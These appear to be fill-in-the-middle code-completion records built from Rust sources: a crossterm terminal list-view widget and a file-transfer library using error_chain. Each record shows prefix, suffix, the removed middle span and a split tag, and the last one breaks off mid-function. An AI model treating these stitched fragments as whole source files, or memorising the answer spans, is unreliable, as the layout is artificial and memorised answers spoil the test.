+ title.columns.len()
- 1;
let spacing = Spacing {
width,
align: Alignment::Center,
};
spacing.write_str(
w,
&self.columns[title.columns[0]].title,
&self.skin.headers[0].compound_style,
)?;
}
// separator line
queue!(w, MoveTo(self.area.left, self.area.top + 1))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
cross.queue(w)?;
}
for (col_idx_idx, col_idx) in title.columns.iter().enumerate() {
if col_idx_idx > 0 {
tee.queue(w)?;
}
for _ in 0..self.columns[*col_idx].spacing.width {
hbar.queue(w)?;
}
}
}
// rows, maybe scrolled
let mut row_idx = self.scroll;
let scrollbar = self.scrollbar();
for y in 2..self.area.height {
queue!(w, MoveTo(self.area.left, self.area.top + y))?;
loop {
if row_idx == self.rows.len() {
queue!(w, Clear(ClearType::UntilNewLine))?;
break;
}
if self.rows[row_idx].displayed {
let selected = Some(row_idx) == self.selection;
for (col_idx, col) in self.columns.iter().enumerate() {
if col_idx != 0 {
if selected {
queue!(w, SetBackgroundColor(self.selection_background))?;
}
vbar.queue(w)?;
}
let cell = (col.extract)(&self.rows[row_idx].data);
if selected {
let mut style = cell.style.clone();
style.set_bg(self.selection_background);
col.spacing
.write_counted_str(w, &cell.con, cell.width, &style)?;
} else {
col.spacing
.write_counted_str(w, &cell.con, cell.width, cell.style)?;
}
}
row_idx += 1;
break;
}
row_idx += 1;
}
if let Some((sctop, scbottom)) = scrollbar {
queue!(w, MoveTo(sx, self.area.top + y))?;
let y = y - 2;
if sctop <= y && y <= scbottom {
self.skin.scrollbar.thumb.queue(w)?;
} else {
self.skin.scrollbar.track.queue(w)?;
}
}
}
Ok(())
}
/// display the whole list in its area
pub fn write(&self) -> Result<()> {
let mut stdout = stdout();
self.write_on(&mut stdout)?;
stdout.flush()?;
Ok(())
}
/// return true if the last line of the list is visible
pub const fn do_scroll_show_bottom(&self) -> bool {
self.scroll + self.tbody_height() as usize >= self.displayed_rows_count
}
/// ensure the last line is visible
pub fn scroll_to_bottom(&mut self) {
let body_height = self.tbody_height() as usize;
self.scroll = if self.displayed_rows_count > body_height {
self.displayed_rows_count - body_height
} else {
0
}
}
/// set the scroll amount.
/// lines_count can be negative
pub fn try_scroll_lines(&mut self, lines_count: i32) {
if lines_count < 0 {
let lines_count = -lines_count as usize;
self.scroll = if lines_count >= self.scroll {
0
} else {
self.scroll - lines_count
};
} else {
self.scroll = (self.scroll + lines_count as usize)
.min(self.displayed_rows_count - self.tbody_height() as usize + 1);
}
self.make_selection_visible();
}
/// set the scroll amount.
/// pages_count can be negative
pub fn try_scroll_pages(&mut self, pages_count: i32) {
self.try_scroll_lines(pages_count * self.tbody_height() as i32)
}
/// try to select the next visible line
pub fn try_select_next(&mut self, up: bool) {
if self.displayed_rows_count == 0 {
return;
}
if self.displayed_rows_count == 1 || self.selection.is_none() {
for i in 0..self.rows.len() {
let i = (i + self.scroll) % self.rows.len();
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
}
for i in 0..self.rows.len() {
let delta_idx = if up { self.rows.len() - 1 - i } else { i + 1 };
let row_idx = (delta_idx + self.selection.unwrap()) % self.rows.len();
if self.rows[row_idx].displayed {
self.selection = Some(row_idx);
self.make_selection_visible();
return;
}
}
}
/// select the first visible line (unless there's nothing).
pub fn select_first_line(&mut self) {
for i in 0..self.rows.len() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// select the last visible line (unless there's nothing).
pub fn select_last_line(&mut self) {
for i in (0..self.rows.len()).rev() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// scroll to ensure the selected line (if any) is visible.
///
/// This is automatically called by try_scroll
/// and try select functions
pub fn make_selection_visible(&mut self) {
let tbody_height = self.tbody_height() as usize;
if self.displayed_rows_count <= tbody_height {
return; // there's no scroll
}
if let Some(sel) = self.selection {
if sel <= self.scroll {
self.scroll = if sel > 2 { sel - 2 } else { 0 };
} else if sel + 1 >= self.scroll + tbody_height {
self.scroll = sel - tbody_height + 2;
}
}
}
pub fn get_selection(&self) -> Option<&T> {
self.selection.map(|sel| &self.rows[sel].data)
}
pub const fn has_selection(&self) -> bool {
self.selection.is_some()
}
pub fn unselect(&mut self) {
self.selection = None;
}
}
| {
self.area.height - 2
} | conditional_block |
list_view.rs | use std::{
cmp::Ordering,
io::{stdout, Write},
};
use crossterm::{
cursor::MoveTo,
queue,
style::{Color, SetBackgroundColor},
terminal::{Clear, ClearType},
};
use crate::{
compute_scrollbar, errors::Result, gray, Alignment, Area, CompoundStyle, MadSkin, Spacing,
};
pub struct ListViewCell<'t> {
con: String,
style: &'t CompoundStyle,
width: usize, // length of content in chars
}
pub struct Title {
columns: Vec<usize>, // the column(s) below this title
}
pub struct ListViewColumn<'t, T> {
title: String,
min_width: usize,
max_width: usize,
spacing: Spacing,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>, // a function building cells from the rows
}
struct Row<T> {
data: T,
displayed: bool,
}
/// A filterable list whose columns can be automatically resized.
///
///
/// Notes:
/// * another version will allow more than one style per cell
/// (i.e. make the cells composites rather than compounds). Shout
/// out if you need that now.
/// * this version doesn't allow cell wrapping
#[allow(clippy::type_complexity)]
pub struct ListView<'t, T> {
titles: Vec<Title>,
columns: Vec<ListViewColumn<'t, T>>,
rows: Vec<Row<T>>,
pub area: Area,
scroll: usize,
pub skin: &'t MadSkin,
filter: Option<Box<dyn Fn(&T) -> bool>>, // a function determining if the row must be displayed
displayed_rows_count: usize,
row_order: Option<Box<dyn Fn(&T, &T) -> Ordering>>,
selection: Option<usize>, // index of the selected line
selection_background: Color,
}
impl<'t> ListViewCell<'t> {
pub fn new(con: String, style: &'t CompoundStyle) -> Self {
let width = con.chars().count();
Self { con, style, width }
}
}
impl<'t, T> ListViewColumn<'t, T> {
pub fn new(
title: &str,
min_width: usize,
max_width: usize,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>,
) -> Self {
Self {
title: title.to_owned(),
min_width,
max_width,
spacing: Spacing {
width: min_width,
align: Alignment::Center,
},
extract,
}
}
pub const fn with_align(mut self, align: Alignment) -> Self {
self.spacing.align = align;
self
}
}
impl<'t, T> ListView<'t, T> {
/// Create a new list view with the passed columns.
///
/// The columns can't be changed afterwards but the area can be modified.
/// When two columns have the same title, those titles are merged (but
/// the columns below stay separated).
pub fn new(area: Area, columns: Vec<ListViewColumn<'t, T>>, skin: &'t MadSkin) -> Self {
let mut titles: Vec<Title> = Vec::new();
for (column_idx, column) in columns.iter().enumerate() {
if let Some(last_title) = titles.last_mut() {
if columns[last_title.columns[0]].title == column.title {
// we merge those columns titles
last_title.columns.push(column_idx);
continue;
}
}
// this is a new title
titles.push(Title {
columns: vec![column_idx],
});
}
Self {
titles,
columns,
rows: Vec::new(),
area,
scroll: 0,
skin,
filter: None,
displayed_rows_count: 0,
row_order: None,
selection: None,
selection_background: gray(5),
}
} | self.row_order = Some(sort);
}
/// return the height which is available for rows
#[inline(always)]
pub const fn tbody_height(&self) -> u16 {
if self.area.height > 2 {
self.area.height - 2
} else {
self.area.height
}
}
/// return an option which when filled contains
/// a tupple with the top and bottom of the vertical
/// scrollbar. Return none when the content fits
/// the available space.
#[inline(always)]
pub fn scrollbar(&self) -> Option<(u16, u16)> {
compute_scrollbar(
self.scroll as u16,
self.displayed_rows_count as u16,
self.tbody_height(),
self.area.top,
)
}
pub fn add_row(&mut self, data: T) {
let stick_to_bottom = self.row_order.is_none() && self.do_scroll_show_bottom();
let displayed = match &self.filter {
Some(fun) => fun(&data),
None => true,
};
if displayed {
self.displayed_rows_count += 1;
}
if stick_to_bottom {
self.scroll_to_bottom();
}
self.rows.push(Row { data, displayed });
if let Some(row_order) = &self.row_order {
self.rows.sort_by(|a, b| row_order(&a.data, &b.data));
}
}
/// remove all rows (and selection).
///
/// Keep the columns and the sort function, if any.
pub fn clear_rows(&mut self) {
self.rows.clear();
self.scroll = 0;
self.displayed_rows_count = 0;
self.selection = None;
}
/// return both the number of displayed rows and the total number
pub fn row_counts(&self) -> (usize, usize) {
(self.displayed_rows_count, self.rows.len())
}
/// recompute the widths of all columns.
/// This should be called when the area size is modified
pub fn update_dimensions(&mut self) {
let available_width: i32 =
i32::from(self.area.width)
- (self.columns.len() as i32 - 1) // we remove the separator
- 1; // we remove 1 to let space for the scrollbar
let sum_min_widths: i32 = self.columns.iter().map(|c| c.min_width as i32).sum();
if sum_min_widths >= available_width {
for i in 0..self.columns.len() {
self.columns[i].spacing.width = self.columns[i].min_width;
}
} else {
let mut excess = available_width - sum_min_widths;
for i in 0..self.columns.len() {
let d =
((self.columns[i].max_width - self.columns[i].min_width) as i32).min(excess);
excess -= d;
self.columns[i].spacing.width = self.columns[i].min_width + d as usize;
}
// there might be some excess, but it's better to have some space at right rather
// than a too wide table
}
}
pub fn set_filter(&mut self, filter: Box<dyn Fn(&T) -> bool>) {
let mut count = 0;
for row in self.rows.iter_mut() {
row.displayed = filter(&row.data);
if row.displayed {
count += 1;
}
}
self.scroll = 0; // something better should be done... later
self.displayed_rows_count = count;
self.filter = Some(filter);
}
pub fn remove_filter(&mut self) {
for row in self.rows.iter_mut() {
row.displayed = true;
}
self.displayed_rows_count = self.rows.len();
self.filter = None;
}
/// write the list view on the given writer
pub fn write_on<W>(&self, w: &mut W) -> Result<()>
where
W: std::io::Write,
{
let sx = self.area.left + self.area.width;
let vbar = self.skin.table.compound_style.style_char('│');
let tee = self.skin.table.compound_style.style_char('┬');
let cross = self.skin.table.compound_style.style_char('┼');
let hbar = self.skin.table.compound_style.style_char('─');
// title line
queue!(w, MoveTo(self.area.left, self.area.top))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
vbar.queue(w)?;
}
let width = title
.columns
.iter()
.map(|ci| self.columns[*ci].spacing.width)
.sum::<usize>()
+ title.columns.len()
- 1;
let spacing = Spacing {
width,
align: Alignment::Center,
};
spacing.write_str(
w,
&self.columns[title.columns[0]].title,
&self.skin.headers[0].compound_style,
)?;
}
// separator line
queue!(w, MoveTo(self.area.left, self.area.top + 1))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
cross.queue(w)?;
}
for (col_idx_idx, col_idx) in title.columns.iter().enumerate() {
if col_idx_idx > 0 {
tee.queue(w)?;
}
for _ in 0..self.columns[*col_idx].spacing.width {
hbar.queue(w)?;
}
}
}
// rows, maybe scrolled
let mut row_idx = self.scroll;
let scrollbar = self.scrollbar();
for y in 2..self.area.height {
queue!(w, MoveTo(self.area.left, self.area.top + y))?;
loop {
if row_idx == self.rows.len() {
queue!(w, Clear(ClearType::UntilNewLine))?;
break;
}
if self.rows[row_idx].displayed {
let selected = Some(row_idx) == self.selection;
for (col_idx, col) in self.columns.iter().enumerate() {
if col_idx != 0 {
if selected {
queue!(w, SetBackgroundColor(self.selection_background))?;
}
vbar.queue(w)?;
}
let cell = (col.extract)(&self.rows[row_idx].data);
if selected {
let mut style = cell.style.clone();
style.set_bg(self.selection_background);
col.spacing
.write_counted_str(w, &cell.con, cell.width, &style)?;
} else {
col.spacing
.write_counted_str(w, &cell.con, cell.width, cell.style)?;
}
}
row_idx += 1;
break;
}
row_idx += 1;
}
if let Some((sctop, scbottom)) = scrollbar {
queue!(w, MoveTo(sx, self.area.top + y))?;
let y = y - 2;
if sctop <= y && y <= scbottom {
self.skin.scrollbar.thumb.queue(w)?;
} else {
self.skin.scrollbar.track.queue(w)?;
}
}
}
Ok(())
}
/// display the whole list in its area
pub fn write(&self) -> Result<()> {
let mut stdout = stdout();
self.write_on(&mut stdout)?;
stdout.flush()?;
Ok(())
}
/// return true if the last line of the list is visible
pub const fn do_scroll_show_bottom(&self) -> bool {
self.scroll + self.tbody_height() as usize >= self.displayed_rows_count
}
/// ensure the last line is visible
pub fn scroll_to_bottom(&mut self) {
let body_height = self.tbody_height() as usize;
self.scroll = if self.displayed_rows_count > body_height {
self.displayed_rows_count - body_height
} else {
0
}
}
/// set the scroll amount.
/// lines_count can be negative
pub fn try_scroll_lines(&mut self, lines_count: i32) {
if lines_count < 0 {
let lines_count = -lines_count as usize;
self.scroll = if lines_count >= self.scroll {
0
} else {
self.scroll - lines_count
};
} else {
self.scroll = (self.scroll + lines_count as usize)
.min(self.displayed_rows_count - self.tbody_height() as usize + 1);
}
self.make_selection_visible();
}
/// set the scroll amount.
/// pages_count can be negative
pub fn try_scroll_pages(&mut self, pages_count: i32) {
self.try_scroll_lines(pages_count * self.tbody_height() as i32)
}
/// try to select the next visible line
pub fn try_select_next(&mut self, up: bool) {
if self.displayed_rows_count == 0 {
return;
}
if self.displayed_rows_count == 1 || self.selection.is_none() {
for i in 0..self.rows.len() {
let i = (i + self.scroll) % self.rows.len();
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
}
for i in 0..self.rows.len() {
let delta_idx = if up { self.rows.len() - 1 - i } else { i + 1 };
let row_idx = (delta_idx + self.selection.unwrap()) % self.rows.len();
if self.rows[row_idx].displayed {
self.selection = Some(row_idx);
self.make_selection_visible();
return;
}
}
}
/// select the first visible line (unless there's nothing).
pub fn select_first_line(&mut self) {
for i in 0..self.rows.len() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// select the last visible line (unless there's nothing).
pub fn select_last_line(&mut self) {
for i in (0..self.rows.len()).rev() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// scroll to ensure the selected line (if any) is visible.
///
/// This is automatically called by try_scroll
/// and try select functions
pub fn make_selection_visible(&mut self) {
let tbody_height = self.tbody_height() as usize;
if self.displayed_rows_count <= tbody_height {
return; // there's no scroll
}
if let Some(sel) = self.selection {
if sel <= self.scroll {
self.scroll = if sel > 2 { sel - 2 } else { 0 };
} else if sel + 1 >= self.scroll + tbody_height {
self.scroll = sel - tbody_height + 2;
}
}
}
pub fn get_selection(&self) -> Option<&T> {
self.selection.map(|sel| &self.rows[sel].data)
}
pub const fn has_selection(&self) -> bool {
self.selection.is_some()
}
pub fn unselect(&mut self) {
self.selection = None;
}
} | /// set a comparator for row sorting
#[allow(clippy::type_complexity)]
pub fn sort(&mut self, sort: Box<dyn Fn(&T, &T) -> Ordering>) { | random_line_split |
list_view.rs | use std::{
cmp::Ordering,
io::{stdout, Write},
};
use crossterm::{
cursor::MoveTo,
queue,
style::{Color, SetBackgroundColor},
terminal::{Clear, ClearType},
};
use crate::{
compute_scrollbar, errors::Result, gray, Alignment, Area, CompoundStyle, MadSkin, Spacing,
};
pub struct ListViewCell<'t> {
con: String,
style: &'t CompoundStyle,
width: usize, // length of content in chars
}
pub struct Title {
columns: Vec<usize>, // the column(s) below this title
}
pub struct ListViewColumn<'t, T> {
title: String,
min_width: usize,
max_width: usize,
spacing: Spacing,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>, // a function building cells from the rows
}
struct Row<T> {
data: T,
displayed: bool,
}
/// A filterable list whose columns can be automatically resized.
///
///
/// Notes:
/// * another version will allow more than one style per cell
/// (i.e. make the cells composites rather than compounds). Shout
/// out if you need that now.
/// * this version doesn't allow cell wrapping
#[allow(clippy::type_complexity)]
pub struct ListView<'t, T> {
titles: Vec<Title>,
columns: Vec<ListViewColumn<'t, T>>,
rows: Vec<Row<T>>,
pub area: Area,
scroll: usize,
pub skin: &'t MadSkin,
filter: Option<Box<dyn Fn(&T) -> bool>>, // a function determining if the row must be displayed
displayed_rows_count: usize,
row_order: Option<Box<dyn Fn(&T, &T) -> Ordering>>,
selection: Option<usize>, // index of the selected line
selection_background: Color,
}
impl<'t> ListViewCell<'t> {
pub fn new(con: String, style: &'t CompoundStyle) -> Self {
let width = con.chars().count();
Self { con, style, width }
}
}
impl<'t, T> ListViewColumn<'t, T> {
pub fn new(
title: &str,
min_width: usize,
max_width: usize,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>,
) -> Self {
Self {
title: title.to_owned(),
min_width,
max_width,
spacing: Spacing {
width: min_width,
align: Alignment::Center,
},
extract,
}
}
pub const fn with_align(mut self, align: Alignment) -> Self {
self.spacing.align = align;
self
}
}
impl<'t, T> ListView<'t, T> {
/// Create a new list view with the passed columns.
///
/// The columns can't be changed afterwards but the area can be modified.
/// When two columns have the same title, those titles are merged (but
/// the columns below stay separated).
pub fn new(area: Area, columns: Vec<ListViewColumn<'t, T>>, skin: &'t MadSkin) -> Self {
let mut titles: Vec<Title> = Vec::new();
for (column_idx, column) in columns.iter().enumerate() {
if let Some(last_title) = titles.last_mut() {
if columns[last_title.columns[0]].title == column.title {
// we merge those columns titles
last_title.columns.push(column_idx);
continue;
}
}
// this is a new title
titles.push(Title {
columns: vec![column_idx],
});
}
Self {
titles,
columns,
rows: Vec::new(),
area,
scroll: 0,
skin,
filter: None,
displayed_rows_count: 0,
row_order: None,
selection: None,
selection_background: gray(5),
}
}
/// set a comparator for row sorting
#[allow(clippy::type_complexity)]
pub fn sort(&mut self, sort: Box<dyn Fn(&T, &T) -> Ordering>) {
self.row_order = Some(sort);
}
/// return the height which is available for rows
#[inline(always)]
pub const fn tbody_height(&self) -> u16 {
if self.area.height > 2 {
self.area.height - 2
} else {
self.area.height
}
}
/// return an option which when filled contains
/// a tupple with the top and bottom of the vertical
/// scrollbar. Return none when the content fits
/// the available space.
#[inline(always)]
pub fn scrollbar(&self) -> Option<(u16, u16)> {
compute_scrollbar(
self.scroll as u16,
self.displayed_rows_count as u16,
self.tbody_height(),
self.area.top,
)
}
pub fn | (&mut self, data: T) {
let stick_to_bottom = self.row_order.is_none() && self.do_scroll_show_bottom();
let displayed = match &self.filter {
Some(fun) => fun(&data),
None => true,
};
if displayed {
self.displayed_rows_count += 1;
}
if stick_to_bottom {
self.scroll_to_bottom();
}
self.rows.push(Row { data, displayed });
if let Some(row_order) = &self.row_order {
self.rows.sort_by(|a, b| row_order(&a.data, &b.data));
}
}
/// remove all rows (and selection).
///
/// Keep the columns and the sort function, if any.
pub fn clear_rows(&mut self) {
self.rows.clear();
self.scroll = 0;
self.displayed_rows_count = 0;
self.selection = None;
}
/// return both the number of displayed rows and the total number
pub fn row_counts(&self) -> (usize, usize) {
(self.displayed_rows_count, self.rows.len())
}
/// recompute the widths of all columns.
/// This should be called when the area size is modified
pub fn update_dimensions(&mut self) {
let available_width: i32 =
i32::from(self.area.width)
- (self.columns.len() as i32 - 1) // we remove the separator
- 1; // we remove 1 to let space for the scrollbar
let sum_min_widths: i32 = self.columns.iter().map(|c| c.min_width as i32).sum();
if sum_min_widths >= available_width {
for i in 0..self.columns.len() {
self.columns[i].spacing.width = self.columns[i].min_width;
}
} else {
let mut excess = available_width - sum_min_widths;
for i in 0..self.columns.len() {
let d =
((self.columns[i].max_width - self.columns[i].min_width) as i32).min(excess);
excess -= d;
self.columns[i].spacing.width = self.columns[i].min_width + d as usize;
}
// there might be some excess, but it's better to have some space at right rather
// than a too wide table
}
}
pub fn set_filter(&mut self, filter: Box<dyn Fn(&T) -> bool>) {
let mut count = 0;
for row in self.rows.iter_mut() {
row.displayed = filter(&row.data);
if row.displayed {
count += 1;
}
}
self.scroll = 0; // something better should be done... later
self.displayed_rows_count = count;
self.filter = Some(filter);
}
pub fn remove_filter(&mut self) {
for row in self.rows.iter_mut() {
row.displayed = true;
}
self.displayed_rows_count = self.rows.len();
self.filter = None;
}
/// write the list view on the given writer
pub fn write_on<W>(&self, w: &mut W) -> Result<()>
where
W: std::io::Write,
{
let sx = self.area.left + self.area.width;
let vbar = self.skin.table.compound_style.style_char('│');
let tee = self.skin.table.compound_style.style_char('┬');
let cross = self.skin.table.compound_style.style_char('┼');
let hbar = self.skin.table.compound_style.style_char('─');
// title line
queue!(w, MoveTo(self.area.left, self.area.top))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
vbar.queue(w)?;
}
let width = title
.columns
.iter()
.map(|ci| self.columns[*ci].spacing.width)
.sum::<usize>()
+ title.columns.len()
- 1;
let spacing = Spacing {
width,
align: Alignment::Center,
};
spacing.write_str(
w,
&self.columns[title.columns[0]].title,
&self.skin.headers[0].compound_style,
)?;
}
// separator line
queue!(w, MoveTo(self.area.left, self.area.top + 1))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
cross.queue(w)?;
}
for (col_idx_idx, col_idx) in title.columns.iter().enumerate() {
if col_idx_idx > 0 {
tee.queue(w)?;
}
for _ in 0..self.columns[*col_idx].spacing.width {
hbar.queue(w)?;
}
}
}
// rows, maybe scrolled
let mut row_idx = self.scroll;
let scrollbar = self.scrollbar();
for y in 2..self.area.height {
queue!(w, MoveTo(self.area.left, self.area.top + y))?;
loop {
if row_idx == self.rows.len() {
queue!(w, Clear(ClearType::UntilNewLine))?;
break;
}
if self.rows[row_idx].displayed {
let selected = Some(row_idx) == self.selection;
for (col_idx, col) in self.columns.iter().enumerate() {
if col_idx != 0 {
if selected {
queue!(w, SetBackgroundColor(self.selection_background))?;
}
vbar.queue(w)?;
}
let cell = (col.extract)(&self.rows[row_idx].data);
if selected {
let mut style = cell.style.clone();
style.set_bg(self.selection_background);
col.spacing
.write_counted_str(w, &cell.con, cell.width, &style)?;
} else {
col.spacing
.write_counted_str(w, &cell.con, cell.width, cell.style)?;
}
}
row_idx += 1;
break;
}
row_idx += 1;
}
if let Some((sctop, scbottom)) = scrollbar {
queue!(w, MoveTo(sx, self.area.top + y))?;
let y = y - 2;
if sctop <= y && y <= scbottom {
self.skin.scrollbar.thumb.queue(w)?;
} else {
self.skin.scrollbar.track.queue(w)?;
}
}
}
Ok(())
}
/// display the whole list in its area
pub fn write(&self) -> Result<()> {
let mut stdout = stdout();
self.write_on(&mut stdout)?;
stdout.flush()?;
Ok(())
}
/// return true if the last line of the list is visible
pub const fn do_scroll_show_bottom(&self) -> bool {
self.scroll + self.tbody_height() as usize >= self.displayed_rows_count
}
/// ensure the last line is visible
pub fn scroll_to_bottom(&mut self) {
let body_height = self.tbody_height() as usize;
self.scroll = if self.displayed_rows_count > body_height {
self.displayed_rows_count - body_height
} else {
0
}
}
/// set the scroll amount.
/// lines_count can be negative
pub fn try_scroll_lines(&mut self, lines_count: i32) {
if lines_count < 0 {
let lines_count = -lines_count as usize;
self.scroll = if lines_count >= self.scroll {
0
} else {
self.scroll - lines_count
};
} else {
self.scroll = (self.scroll + lines_count as usize)
.min(self.displayed_rows_count - self.tbody_height() as usize + 1);
}
self.make_selection_visible();
}
/// set the scroll amount.
/// pages_count can be negative
pub fn try_scroll_pages(&mut self, pages_count: i32) {
self.try_scroll_lines(pages_count * self.tbody_height() as i32)
}
/// try to select the next visible line
pub fn try_select_next(&mut self, up: bool) {
if self.displayed_rows_count == 0 {
return;
}
if self.displayed_rows_count == 1 || self.selection.is_none() {
for i in 0..self.rows.len() {
let i = (i + self.scroll) % self.rows.len();
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
}
for i in 0..self.rows.len() {
let delta_idx = if up { self.rows.len() - 1 - i } else { i + 1 };
let row_idx = (delta_idx + self.selection.unwrap()) % self.rows.len();
if self.rows[row_idx].displayed {
self.selection = Some(row_idx);
self.make_selection_visible();
return;
}
}
}
/// select the first visible line (unless there's nothing).
pub fn select_first_line(&mut self) {
for i in 0..self.rows.len() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// select the last visible line (unless there's nothing).
pub fn select_last_line(&mut self) {
for i in (0..self.rows.len()).rev() {
if self.rows[i].displayed {
self.selection = Some(i);
self.make_selection_visible();
return;
}
}
self.selection = None;
}
/// scroll to ensure the selected line (if any) is visible.
///
/// This is automatically called by try_scroll
/// and try select functions
pub fn make_selection_visible(&mut self) {
let tbody_height = self.tbody_height() as usize;
if self.displayed_rows_count <= tbody_height {
return; // there's no scroll
}
if let Some(sel) = self.selection {
if sel <= self.scroll {
self.scroll = if sel > 2 { sel - 2 } else { 0 };
} else if sel + 1 >= self.scroll + tbody_height {
self.scroll = sel - tbody_height + 2;
}
}
}
pub fn get_selection(&self) -> Option<&T> {
self.selection.map(|sel| &self.rows[sel].data)
}
pub const fn has_selection(&self) -> bool {
self.selection.is_some()
}
pub fn unselect(&mut self) {
self.selection = None;
}
}
| add_row | identifier_name |
lib.rs |
// `error_chain!` can recurse deeply
#![recursion_limit = "1024"]
// Import the macro. Don't forget to add `error-chain` in your
// `Cargo.toml`!
#[macro_use]
extern crate error_chain;
#[macro_use]
extern crate log;
extern crate clap;
extern crate byteorder;
extern crate ansi_term;
extern crate pbr;
pub mod network;
use std::path::PathBuf;
use std::io::{Read, Write};
use byteorder::{BigEndian, ReadBytesExt, WriteBytesExt};
use ansi_term::Colour::*;
use std::cmp::Ordering;
use pbr::{ProgressBar, Units};
pub mod errors {
use std::io;
use std::net;
use std::path;
error_chain! {
// The type defined for this error. These are the conventional
// and recommended names, but they can be arbitrarily chosen.
//
// It is also possible to leave this section out entirely, or
// leave it empty, and these names will be used automatically.
types {
Error, ErrorKind, ResultExt, Result;
}
// Without the `Result` wrapper:
//
// types {
// Error, ErrorKind, ResultExt;
// }
// Automatic conversions between this error chain and other
// error chains. In this case, it will e.g. generate an
// `ErrorKind` variant called `Another` which in turn contains
// the `other_error::ErrorKind`, with conversions from
// `other_error::Error`.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
links {
}
// Automatic conversions between this error chain and other
// error types not defined by the `error_chain!`. These will be
// wrapped in a new error with, in the first case, the
// `ErrorKind::Fmt` variant. The description and cause will
// forward to the description and cause of the original error.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
foreign_links {
Io(io::Error) #[cfg(unix)];
}
// Define additional `ErrorKind` variants. The syntax here is
// the same as `quick_error!`, but the `from()` and `cause()`
// syntax is not supported.
errors {
PathConversion {
description("Failed coverting the path to a string")
display("Failed converting path to string")
}
Serialization {
description("Serialization failed")
display("Failed serializing")
}
//I think cloning the pathbuf is ok for the slow path in case of error
SendFile(remote_addr: net::SocketAddr){
description("Error while sending file")
display("While sending to {}", remote_addr)
}
UnknownFile(index: u32) {
description("The client requested an unknown file")
display("The client requested an unknown file with id {}", index)
}
ServerConnection {
description("While processing connection")
display("A low level error occured while processing connection")
}
ClientConnection(ip: net::Ipv4Addr, port: u16) {
description("Client failed to connect to server")
display("While connecting to {}:{}", ip, port)
}
Enumeration {
description("While enumerating interface")
display("While enumerating interfaces")
}
Bind(ip: net::Ipv4Addr, port: u16) {
description("While binding connection")
display("While binding to {}:{}", ip, port)
}
IncompleteRead(actual: usize, expected: usize) {
description("An error occured which caused a read to end before getting the expected data")
display("A read didn't get the expected amount of data [Expected {}, Actual {}]", actual, expected)
}
Fetch {
description("While reading message")
display("While reading message")
}
InvalidTransport(t: String) {
description("Transport not valid")
display("Invalid transport: {}", t)
}
FileExists(p: ::std::path::PathBuf) {
description("File already exists")
display("Tried to write to existing file: {}", p.to_string_lossy())
}
WriteContent {
description("An error occured while writing content to disk")
display("While writing content to disk")
}
ReadContent {
description("An error occured while reading content from network")
display("While reading content from network")
}
}
}
}
use errors::*;
trait Readn {
fn readn(&mut self, buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize>;
}
impl<T: Read> Readn for T {
fn readn(&mut self, mut buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize> {
let mut sub = self.take(n as u64);
return sub.read_to_end(&mut buff);
}
}
trait Streamable<'a>{
fn read<T: Read + 'a>(stream: T) -> Result<Self> where Self: std::marker::Sized;
fn write<T: Write + 'a>(&mut self, stream: &mut T) -> Result<usize>;
}
struct FileMessage<'a> {
name_size: u32,
name: String,
size: u32,
file: Box<Read + 'a>,
}
impl<'a> FileMessage<'a> {
fn new<T: Read + 'a>(name: String, size: u32, stream: T) -> Self {
return FileMessage {
name_size: name.len() as u32, //@Expansion: 32 bits is a lot, but maybe in the far flung future.
name: name,
size: size,
file: Box::new(stream)
};
}
}
impl<'a> Streamable<'a> for FileMessage<'a> {
fn read<T: Read + 'a>(mut stream: T) -> Result<Self> {
//Get the length of the name
let name_len = try!(stream.read_u32::<BigEndian>());
//Get the name from the stream
let mut name_buff = Vec::with_capacity(name_len as usize); //@Expansion: Here we have the 32-bit again.
let name_read = try!(stream.readn(&mut name_buff, name_len as usize));
if name_len != name_read as u32 {
bail!(ErrorKind::IncompleteRead(name_read, name_len as usize));
}
let name = String::from_utf8(name_buff).unwrap(); //@Error: Make error
//Get the length of the file contents
let file_len = try!(stream.read_u32::<BigEndian>()); //@Expansion: u32. That's a direct limit on the size of files.
//Currently we aren't aiming at
//supporting large files, which makes
//it ok.
//We aren't getting the file contents because we don't want to store it all in memory
return Ok(FileMessage {
name_size: name_len,
name: name,
size: file_len,
file: Box::new(stream),
});
}
fn write<T: Write + 'a>(&mut self, mut stream: &mut T) -> Result<usize>{
try!(stream.write_u32::<BigEndian>(self.name_size)); //@Error: Should this be handled differently?
try!(stream.write_all(self.name.as_bytes()));
try!(stream.write_u32::<BigEndian>(self.size));
try!(std::io::copy(&mut self.file, &mut stream));
return Ok(0);
}
}
pub type Dict<'a> = Box<[&'a str]>;
pub struct TransportPresenter<'a> {
dictionary: Dict<'a>,
dict_entries: u32,
}
impl<'a> TransportPresenter<'a> {
pub fn new(dictionary: Dict<'a>, dict_entries: u32) -> Self {
return TransportPresenter {
dictionary: dictionary,
dict_entries: dict_entries,
};
}
pub fn present(&self, t: &Transport) -> Result<String> {
let parts = (t.max_state() as f64).log(self.dict_entries as f64).ceil() as u32;
let mut part_representation: Vec<&str> = Vec::with_capacity(parts as usize);
let mut remainder = t.state();
for _ in 0..parts {
let part = remainder % self.dict_entries;
remainder = remainder / self.dict_entries;
